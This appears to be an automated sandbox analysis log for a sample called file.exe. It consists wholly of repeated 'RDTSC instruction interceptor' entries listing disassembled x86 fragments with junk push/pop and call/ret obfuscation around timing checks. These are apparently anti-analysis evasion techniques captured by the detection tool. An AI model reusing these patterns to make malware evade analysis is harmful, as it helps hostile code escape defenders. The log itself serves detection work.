Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53011A second address: 530144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F075CBABECEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53070B second address: 530711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531138 second address: 531185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F075CBABECFh 0x00000008 jl 00007F075CBABEC6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 sub edi, 36B458A0h 0x00000018 push 00000000h 0x0000001a mov esi, dword ptr [ebp+122D28E6h] 0x00000020 push 00000000h 0x00000022 movzx edi, ax 0x00000025 push esi 0x00000026 mov dword ptr [ebp+122D1CCFh], edi 0x0000002c pop edi 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jc 00007F075CBABED3h 0x00000036 jmp 00007F075CBABECDh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531185 second address: 53118B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5322D8 second address: 5322DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5338EC second address: 5338F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534382 second address: 534390 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534390 second address: 534394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534394 second address: 5343AA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F075CBABECCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5343AA second address: 5343AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534DBD second address: 534DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534DC7 second address: 534DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534DCD second address: 534E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 sub dword ptr [ebp+122D239Fh], edi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F075CBABEC8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F075CBABEC8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 jnl 00007F075CBABECCh 0x0000004d mov edi, dword ptr [ebp+122D38FEh] 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jnp 00007F075CBABEC6h 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534E41 second address: 534E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5384BD second address: 5384C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5384C1 second address: 5384C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5384C7 second address: 5384CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5384CD second address: 5384D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A279 second address: 53A27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B24B second address: 53B255 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F075D128EFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A471 second address: 53A476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A476 second address: 53A47B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A47B second address: 53A481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C278 second address: 53C27D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B3FA second address: 53B425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F075CBABED7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D205 second address: 53D20B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D20B second address: 53D20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D20F second address: 53D224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jp 00007F075D128EF6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E267 second address: 53E26D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E26D second address: 53E271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540104 second address: 540108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540108 second address: 54010E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F453 second address: 53F477 instructions: 0x00000000 rdtsc 0x00000002 js 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F075CBABED6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54010E second address: 540188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F075D128EF8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 or ebx, dword ptr [ebp+12482338h] 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F075D128EF8h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a jmp 00007F075D128F00h 0x0000004f mov ebx, edi 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 pushad 0x00000056 popad 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F477 second address: 53F47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F47D second address: 53F481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F481 second address: 53F485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543FBD second address: 543FD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F05h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543FD6 second address: 543FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543FE2 second address: 543FFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 jl 00007F075D128EF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5445F9 second address: 5445FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541121 second address: 541133 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F075D128EFCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5422AA second address: 5422B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5422B0 second address: 5422B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5422B5 second address: 5422BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F075CBABEC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548B5A second address: 548B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnp 00007F075D128EF6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54569C second address: 54574D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABED4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F075CBABEC8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d or dword ptr [ebp+122D1BE8h], ebx 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a sub dword ptr [ebp+122D258Ch], ecx 0x00000040 mov eax, dword ptr [ebp+122D0029h] 0x00000046 mov dword ptr [ebp+1246469Ah], esi 0x0000004c sub dword ptr [ebp+122D1ABCh], esi 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push eax 0x00000057 call 00007F075CBABEC8h 0x0000005c pop eax 0x0000005d mov dword ptr [esp+04h], eax 0x00000061 add dword ptr [esp+04h], 0000001Ah 0x00000069 inc eax 0x0000006a push eax 0x0000006b ret 0x0000006c pop eax 0x0000006d ret 0x0000006e call 00007F075CBABED7h 0x00000073 add dword ptr [ebp+1247BF40h], eax 0x00000079 pop edi 0x0000007a add di, 5550h 0x0000007f nop 0x00000080 pushad 0x00000081 pushad 0x00000082 push edi 0x00000083 pop edi 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549A74 second address: 549ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D1C09h] 0x0000000d stc 0x0000000e push 00000000h 0x00000010 adc ebx, 1B346E24h 0x00000016 push 00000000h 0x00000018 call 00007F075D128F06h 0x0000001d or bh, FFFFFFE0h 0x00000020 pop edi 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push esi 0x00000025 jmp 00007F075D128F03h 0x0000002a pop esi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5508D3 second address: 5508D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5508D9 second address: 5508DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5508DD second address: 5508E7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F075CBABEC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5508E7 second address: 5508F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A42 second address: 550A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F1289 second address: 4F12AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128F01h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 jne 00007F075D128EF6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55468D second address: 5546BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F075CBABED9h 0x00000012 jmp 00007F075CBABECAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F47FF second address: 4F4803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4803 second address: 4F4817 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F075CBABECEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4817 second address: 4F4822 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F075D128EF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592B6 second address: 5592BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592BB second address: 5592C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592C1 second address: 5592C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5592C5 second address: 559305 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F075D128EFEh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jg 00007F075D128F07h 0x0000001d jmp 00007F075D128F01h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559305 second address: 559317 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F075CBABECCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5593A0 second address: 5593AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5594B8 second address: 5594BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5594BC second address: 5594C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559542 second address: 55957F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 je 00007F075CBABEDBh 0x0000000d push ebx 0x0000000e jmp 00007F075CBABED3h 0x00000013 pop ebx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F075CBABED0h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F96E second address: 55F994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F075D128EF6h 0x0000000a jmp 00007F075D128EFBh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F075D128EFBh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F53 second address: 4E6F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F075CBABECAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F62 second address: 4E6F67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F67 second address: 4E6F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075CBABECCh 0x00000009 pop edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F87 second address: 4E6F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F075D128EFFh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6F9B second address: 4E6FA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EB87 second address: 55EB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F075D128F18h 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F075D128EF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EB9A second address: 55EBA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EBA0 second address: 55EBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EBAA second address: 55EBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED01 second address: 55ED1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F075D128F07h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED1E second address: 55ED28 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F075CBABEC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED28 second address: 55ED2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED2E second address: 55ED34 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EFEB second address: 55EFF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EFF1 second address: 55F024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F075CBABED0h 0x00000008 jng 00007F075CBABEC6h 0x0000000e jmp 00007F075CBABED4h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3B6 second address: 55F3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3BA second address: 55F3CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F3CB second address: 55F3D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F503 second address: 55F524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007F075CBABEC6h 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F075CBABED0h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F661 second address: 55F66D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F075D128EF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F66D second address: 55F673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F673 second address: 55F677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F677 second address: 55F680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8B4C second address: 4E8B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
